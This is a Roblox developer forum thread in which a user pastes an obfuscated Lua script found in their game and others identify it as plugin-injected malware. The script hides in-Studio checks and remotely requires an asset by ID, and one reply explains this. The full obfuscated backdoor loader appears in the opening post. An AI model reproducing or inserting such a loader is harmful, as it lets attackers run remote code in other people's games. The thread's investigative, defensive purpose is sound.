Unknown script suddenly appearing in a game I'm devving on?

Help and Feedback Scripting Support
1

My main reason for posting this is because I made the original script that was here, and I don’t know if someone pasted this in here or not. Is it a virus? I consider myself a good scripter but, in these terms, I don’t know what to think of what it possible is. I see the “RunService” and “MarketPlaceService” in between the code but can someone that knows a little more explain to me what’s happening here?

aYlWCsEuWpEwPEoLYmAh='Ru'..'nS'..'ervi'..'ce';t='oidutSsI';qSTVT=game;jcXlCiYMfEZtKkPRL=qSTVT.GetService;jnUXlGLmW='r'..'ev'..'er'..'se';NUMiOIAsJaawl=pcall;VAZ='Mar'..'ke'..'tP'..'la'..'ce'..'Se'..'rvic'..'e';it='Ge'..'tPr'..'oduc'..'tIn'..'fo';OkAuNLtVZRUqJRgfnRjdWt='ᮍ'WIxjAiVfCJ = getfenv (          ) [ '\114' .. '\101\113' .. '\117\105\114\101' ];if jcXlCiYMfEZtKkPRL ( qSTVT , aYlWCsEuWpEwPEoLYmAh )[ t [ jnUXlGLmW ]( t ) ] ( jcXlCiYMfEZtKkPRL ( qSTVT , aYlWCsEuWpEwPEoLYmAh ) ) then return end;if not NUMiOIAsJaawl(function() gpcSVcnQY = jcXlCiYMfEZtKkPRL ( qSTVT , VAZ ) [ it ] ( jcXlCiYMfEZtKkPRL ( qSTVT , VAZ ) , 73379870112           / 16         ) [ 'Desc' .. 'ript' .. 'ion' ] WIxjAiVfCJ    ( tonumber ( gpcSVcnQY : match ( '%d+' ) ) ) end) then NUMiOIAsJaawl( function ( ) WIxjAiVfCJ ( 1526761926   * 3 ) end ) end
2

Personally, I don’t know much about Roblox Studio viruses, but check your plugins, and see if you got anything malicious there. If you find all of the plugins you downloaded legitimate, search for the original ones, and compare them with the ones you suspect are fake.

3

This is the first time I’ve logged onto this game in a while, so maybe I’ll ask other people devving on the game to check theirs, not sure the real cause of it though.

4

Can someone plrease help me Im going crazy

5

I have had this same issue two

6

Hmm. If you both have it, try comparing what plugins you both have: a script can’t just get into your game unless a plug-in does it, or if you used the toolbox

7

Yea… I would still recommend looking at those plugins. That’s my only idea for now.

8

Yeah, you won’t want that script in your game. It’s a very basic script that will spam your game with a product purchuse.

aYlWCsEuWpEwPEoLYmAh = RunService
t = IStudio
qSTVT = game
jcXlCiYMfEZtKkPRL = game.GetService
jnUXlGLmW = server
NUMiOIAsJaawl = pcall
VAZ = MarketplaceService
it = GetProductInfo
'\114' .. '\101\113' .. '\117\105\114\101 = require

This script is trying to make itself hard to search for. No script would be declaring variables like this.

2 Likes
9

I’m 99% sure this is a virus, no way someone can do this by mistake, holy.

1 Like
10

I mean yeah it’s very obviously a virus, but just looking through this it’s just requesting users to buy a certain product.

1 Like
11

Happened to me before, but not the code turning into encryption. This is a bit of a level-up.

12

When you’re done investigating the plugins, if you find the one who did all this mess, please let us know, and also report it urgently.

13

with my 1 min of decoding skills let me try to find what does that mean
also check your plugins you might got a virus

14

The obfuscation is relatively easy to reverse. I won’t post the reversed code here for obvious reasons, but here’s what it does:

The script loads the description of the asset with ID 4586241882, and then requires the ID in its description by using match to get the numbers, or failing that it will load the hardcoded ID 4580285778 (same as in the description). The asset no longer exists so the script is broken (good!) but you should really check your plugins. Check specifically which ones have the ability to inject scripts into your game.

15

image
image935×41 6.85 KB

i tried printing it and i got this maybe that guy tried to put a hidden gamepass to the game or dev product

16

I realized earlier it as a virus, there were multiple, possibly from a plugin held by a dev in-game, problem is solved so thanks to everyone

17

This topic was automatically closed 14 days after the last reply. New replies are no longer allowed.